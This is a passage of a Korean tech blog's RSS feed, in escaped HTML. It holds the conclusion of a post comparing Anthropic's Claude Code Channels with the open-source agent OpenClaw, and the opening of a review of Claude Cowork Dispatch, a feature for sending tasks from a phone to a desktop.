&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Slack 연동&lt;/b&gt; &amp;mdash; 이미 Claude Code에 별도 Slack 통합이 있지만, Channels 형태의 양방향 연동 요청&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;데몬화/영구 세션&lt;/b&gt; &amp;mdash; 세션 종료 없이 항시 실행되는 Channels 모드&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;WhatsApp 통합&lt;/b&gt; &amp;mdash; OpenClaw 사용자들이 가장 아쉬워하는 플랫폼&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Channels 위에 만들어진 커뮤니티 프로젝트&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;출시 며칠 만에 개발자들이 Channels API 위에 흥미로운 확장을 만들기 시작했다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Agent HTTP:&lt;/b&gt; Channels를 HTTP API로 래핑하여, REST 호출로 Claude Code를 원격 제어하는 프로젝트 (&lt;a href=&quot;https://news.ycombinator.com/item?id=47449799&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;HN&lt;/a&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Discord-to-tmux 브릿지:&lt;/b&gt; 디스코드 메시지를 tmux 세션과 연동. 권한 프롬프트를 디스코드로 전달하는 기능 포함 (&lt;a href=&quot;https://news.ycombinator.com/item?id=47474174&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;HN&lt;/a&gt;, &lt;a href=&quot;https://github.com/potomak/claude-discord-bridge&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub&lt;/a&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;claude-hub:&lt;/b&gt; GitHub Webhook 서비스. PR과 이슈에서 @멘션으로 Claude Code가 코드 지원을 제공 (&lt;a href=&quot;https://github.com/claude-did-this/claude-hub&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub&lt;/a&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Codeman:&lt;/b&gt; Claude Code 세션을 WebUI로 관리. 권한 프롬프트 시 데스크톱 알림 지원 (&lt;a href=&quot;https://github.com/Ark0N/Codeman&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;전반적 분위기&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;대체로 긍정적.&lt;/b&gt; &quot;폰에서 문자 보내면 집 컴퓨터가 코드를 짠다&quot;는 패러다임에 대한 흥분이 지배적이다. 다만 &lt;b&gt;&quot;Remote Control과 큰 차이 없다&quot;&lt;/b&gt;는 냉정한 시각과, &lt;b&gt;토큰 비용&lt;/b&gt; 및 &lt;b&gt;skip-permissions 보안 우려&lt;/b&gt;도 20% 정도 존재한다. &quot;OpenClaw 킬러&quot;라는 프레이밍은 화제가 되었지만, 20개 이상의 플랫폼 지원과 모델 유연성을 가진 OpenClaw의 장점을 지적하는 반론도 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 11: 결론 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 결론: 어떤 것을 선택할까&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Channels와 OpenClaw는 &quot;채팅 앱으로 AI를 제어한다&quot;는 같은 겉모습 아래 근본적으로 다른 철학을 품고 있다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 25%;&quot;&gt;이런 사람에게&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 37.5%;&quot;&gt;Channels가 맞다&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 37.5%;&quot;&gt;OpenClaw가 맞다&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;사용 목적&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;로컬 프로젝트를 원격 제어하고 싶다&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;24시간 상시 AI 비서가 필요하다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;보안 요구&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;공식 지원 + 관리형 보안이 중요하다&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;자유도와 커스터마이징이 중요하다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;플랫폼&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;텔레그램/디스코드면 충분하다&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;WhatsApp, Signal 등 다양한 앱이 필요하다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;인프라&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;추가 서버 없이 내 PC만 쓰고 싶다&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;서버를 운영할 수 있다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;LLM 선택&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Claude Code 생태계에 올인했다&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;여러 LLM을 혼합 사용한다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;핵심 요약&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Channels&lt;/b&gt;는 Anthropic 공식, MCP 기반, 로컬 실행, 높은 보안. 세션 의존적이지만 로컬 프로젝트에 직접 접근 가능.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;OpenClaw&lt;/b&gt;는 오픈소스, 서버 기반, 20개+ 플랫폼, 24/7 상시 실행. 자유도 높지만 보안은 직접 관리.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;둘 다 &lt;b&gt;리서치 프리뷰 / 초기 단계&lt;/b&gt;라는 점에서 &quot;어떤 것이 절대적으로 낫다&quot;고 단정하기는 이르다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Channels의 &lt;b&gt;플러그인 아키텍처&lt;/b&gt;는 향후 플랫폼 확장 가능성을 열어두고 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;개인적으로는 Claude Code를 주력으로 사용하는 개발자라면 &lt;b&gt;Channels부터 시도해보는 것&lt;/b&gt;을 추천한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Fakechat으로 5분이면 체험할 수 있고, Telegram 설정도 5분이면 끝난다. 로컬 프로젝트에 직접 접근할 수 있다는 점이 실무에서는 결정적인 차이를 만든다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;반면 당장은 &quot;다양한 메시징 플랫폼에서 접근해야 한다&quot;라면 OpenClaw가 더 적합하다. 물론 보안 설정에 충분한 주의를 기울여야 한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;커뮤니티 반응과 향후 전망&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Channels 발표는 Hacker News에서 상위권에 올라 큰 관심을 모았다. &quot;나도 지난주에 이걸 만들고 있었는데&quot;라는 댓글이 다수 &amp;mdash; 그만큼 수요가 컸다는 방증이다. 개발자들은 이미 Channels 위에 &lt;b&gt;Agent HTTP&lt;/b&gt;(HTTP API 래퍼), &lt;b&gt;Discord-to-tmux 브릿지&lt;/b&gt; 등 확장 프로젝트를 만들고 있다.&lt;br /&gt;(출처: &lt;a href=&quot;https://news.ycombinator.com/item?id=47448524&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;HN: Push events into a running session with channels&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;Channels는 리서치 프리뷰 단계이며, Anthropic은 피드백을 기반으로 지원 플랫폼을 확장할 계획이다. OpenClaw가 개척한 &quot;AI 에이전트를 메시징으로 제어&quot;하는 패러다임이 이제 공식 제품으로 흡수되고 있다. 이 경쟁은 개발자 생태계 전체에 긍정적이다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4ff; padding: 20px; border-radius: 12px; border: 2px dashed #5436DA; margin: 25px 0;&quot;&gt;&lt;b&gt;그런데 &quot;OpenClaw 킬러&quot;라는 말을 듣기엔 해당 기능으로만은 부족 하다.&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Channels가 &quot;메시징으로 Claude Code를 제어&quot;하는 영역을 공략했다면, Anthropic에는 또 다른 카드가 있다 &amp;mdash; &lt;b&gt;Claude Computer Use&lt;/b&gt;. 텍스트 명령이 아니라 &lt;b&gt;실제로 마우스를 클릭하고, 브라우저를 열고, GUI 앱을 조작&lt;/b&gt;하는 기능이다. OpenClaw가 &quot;항상 켜진 메시징 에이전트&quot;로 강점을 가진다면, Computer Use는 &quot;화면을 직접 보는 에이전트&quot;라는 전혀 다른 차원을 열어준다.&lt;br /&gt;&lt;br /&gt;두 기능이 결합되면 &amp;mdash; 텔레그램에서 명령을 보내고, Claude가 PC 화면을 조작하여 결과를 돌려주는 시나리오 &amp;mdash; OpenClaw가 점령하던 영역이 상당 부분 대체될 수 있다. 이 주제는 다음 글에서 자세히 다룬다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 0; font-size: 14px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;▶ 다음 글: &lt;b&gt;Claude Computer Use 완전 정복 &amp;mdash; 화면을 직접 제어하는 AI 에이전트&lt;/b&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 참고 자료 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://code.claude.com/docs/en/channels-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Channels reference - Claude Code 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://code.claude.com/docs/en/channels&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Channels - Claude Code 공식 가이드&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://www.macstories.net/stories/first-look-hands-on-with-claude-codes-new-telegram-and-discord-integrations/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MacStories - First Look: Hands-On with Claude Code's Telegram and Discord Integrations&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://dev.to/ji_ai/claude-code-channels-how-anthropic-built-a-two-way-bridge-between-telegram-and-your-terminal-2dpn&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;DEV.to - Claude Code Channels: How Anthropic Built a Two-Way Bridge&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://the-decoder.com/anthropic-turns-claude-code-into-an-always-on-ai-agent-with-new-channels-feature/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The Decoder - Anthropic turns Claude Code into an always-on AI agent&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/OpenClaw&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenClaw - Wikipedia&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://openclaw.ai/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenClaw 공식 사이트&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://venturebeat.com/orchestration/anthropic-just-shipped-an-openclaw-killer-called-claude-code-channels&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;VentureBeat - Anthropic just shipped an OpenClaw killer&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://www.datastudios.org/post/claude-code-channels-what-it-is-how-it-works-and-how-to-use-it-with-mcp-telegram-and-discord&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;DataStudios - Claude Code Channels 종합 가이드&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>ai 코딩 도구</category>
      <category>Anthropic 공식 기능</category>
      <category>Claude Code Channels</category>
      <category>Claude Code 셋업</category>
      <category>OpenClaw</category>
      <category>디스코드 Claude Code</category>
      <category>원격 코딩</category>
      <category>클로드 코드 채널</category>
      <category>클로드 코드 텔레그램 연동</category>
      <category>텔레그램 Claude Code</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/559</guid>
      <comments>https://goddaehee.tistory.com/559#entry559comment</comments>
      <pubDate>Tue, 24 Mar 2026 22:40:05 +0900</pubDate>
    </item>
    <item>
      <title>Claude Cowork Dispatch 리뷰 - 외출 중에도 AI가 내 컴퓨터에서 일 시키기</title>
      <link>https://goddaehee.tistory.com/558</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;오늘은 2026년 3월 16일 Anthropic이 연구 프리뷰로 출시한 Claude Cowork의 새 기능 &lt;b&gt;Dispatch&lt;/b&gt;에 대해 알아보려고 한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2302&quot; data-origin-height=&quot;1536&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPTMsK/dJMcafeVFHt/LOUdljPJXmgC0DXURyob50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPTMsK/dJMcafeVFHt/LOUdljPJXmgC0DXURyob50/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPTMsK/dJMcafeVFHt/LOUdljPJXmgC0DXURyob50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPTMsK%2FdJMcafeVFHt%2FLOUdljPJXmgC0DXURyob50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2302&quot; height=&quot;1536&quot; data-origin-width=&quot;2302&quot; data-origin-height=&quot;1536&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;br /&gt;Dispatch는 간단히 말하면 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;폰으로 집 컴퓨터의 Claude에게 일을 시키는 기능&lt;/b&gt;&lt;/span&gt;이다. 외출 중에 스마트폰으로 &quot;이 파일 분석해서 보고서 작성해줘&quot;라고 지시하면, 집에 있는 데스크탑의 Claude가 로컬 파일과 연동 앱에 접근해서 작업을 처리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;br /&gt;그리고 이 기능이 출시된 타이밍이 흥미롭다. 3월 16일 NVIDIA CEO 젠슨 황이 GTC 2026 기조연설에서 &lt;b&gt;&quot;모든 기업은 OpenClaw 전략이 필요하다&quot;&lt;/b&gt;고 선언한 바로 다음 날이었다. 업계는 즉각 Anthropic이 자신들만의 방식으로 응수했다고 읽었다.&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Dispatch 소개
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;왜 지금 이 기능인가 &amp;mdash; 젠슨 황과 OpenClaw&lt;/li&gt;
&lt;li&gt;Dispatch란 무엇인가&lt;/li&gt;
&lt;li&gt;Cowork와의 관계&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Cowork 간단 복습
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Cowork란&lt;/li&gt;
&lt;li&gt;일반 Claude와의 차이&lt;/li&gt;
&lt;li&gt;커넥터와 플러그인&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Dispatch 작동 원리
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;QR코드 페어링&lt;/li&gt;
&lt;li&gt;하나의 지속적인 대화 스레드&lt;/li&gt;
&lt;li&gt;어떤 작업이 가능한가&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;주의사항&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;할 수 있는 작업들
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실전 사용 사례&lt;/li&gt;
&lt;li&gt;접근 가능한 커넥터&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;현재 한계와 솔직한 평가
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;MacStories 실전 테스트 결과&lt;/li&gt;
&lt;li&gt;현재 제약사항&lt;/li&gt;
&lt;li&gt;문제 상황별 대처&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;OpenClaw vs Dispatch 비교
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;구조적 차이&lt;/li&gt;
&lt;li&gt;누구에게 어떤 선택이 맞는가&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;구독 플랜&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;커뮤니티 반응&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;Claude Cowork Dispatch 가이드&lt;/b&gt;&lt;br /&gt;Dispatch는 폰과 데스크탑 사이에 하나의 지속적인 대화 스레드를 만들어, 외출 중에도 집 컴퓨터의 Claude에게 로컬 파일 및 앱 작업을 지시할 수 있게 하는 기능이다.&lt;br /&gt;2026년 3월 17일 Research Preview로 출시됐으며, Max 플랜은 즉시, Pro 플랜은 며칠 내 순차 확장된다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1: Dispatch 소개 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Dispatch 소개&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1832&quot; data-origin-height=&quot;1002&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TLyXi/dJMcahRnI21/AKMkXhakgf3kFoeeVHeoh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TLyXi/dJMcahRnI21/AKMkXhakgf3kFoeeVHeoh0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TLyXi/dJMcahRnI21/AKMkXhakgf3kFoeeVHeoh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTLyXi%2FdJMcahRnI21%2FAKMkXhakgf3kFoeeVHeoh0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1832&quot; height=&quot;1002&quot; data-origin-width=&quot;1832&quot; data-origin-height=&quot;1002&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;br /&gt;왜 지금 이 기능인가 &amp;mdash; 젠슨 황과 OpenClaw&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Dispatch를 이해하려면 먼저 출시 타이밍을 짚어야 한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 17일, NVIDIA CEO 젠슨 황은 GTC 2026 기조연설에서 오픈소스 AI 에이전트 &lt;b&gt;OpenClaw&lt;/b&gt;를 언급하며 이런 발언을 했다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; border-left: 4px solid #6c757d; padding: 20px; margin: 20px 0; border-radius: 0 8px 8px 0; font-style: italic;&quot;&gt;&quot;모든 기업은 OpenClaw 전략이 필요하다. 이것이 새로운 컴퓨터다. 마치 우리 모두가 Linux 전략이 필요했고, HTTP HTML 전략이 필요했던 것처럼.&quot;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #666; font-style: normal;&quot;&gt;&amp;mdash; Jensen Huang, NVIDIA GTC 2026 기조연설 (2026년 3월 16일)&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그리고 GTC 기조연설 바로 다음 날인 3월 17일, Anthropic이 &lt;b&gt;Dispatch&lt;/b&gt;를 출시했다. 업계는 즉각 &quot;Anthropic이 자체 OpenClaw를 만들었다&quot;고 반응했다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;OpenClaw란?&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;오스트리아 개발자 Peter Steinberger가 만든 오픈소스 AI 에이전트 프레임워크. WhatsApp, Telegram, iMessage 등 20개 이상의 메신저를 통해 로컬 에이전트와 대화하며, 머신에서 상시 실행되는 구조다. 2026년 1~2월에 바이럴로 성장해 GitHub 스타 33만 개 이상을 기록했다(2026년 3월 기준). OpenClaw와 Dispatch의 구조적 차이는 이후에 자세히 다룬다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Dispatch란 무엇인가&lt;/h3&gt;
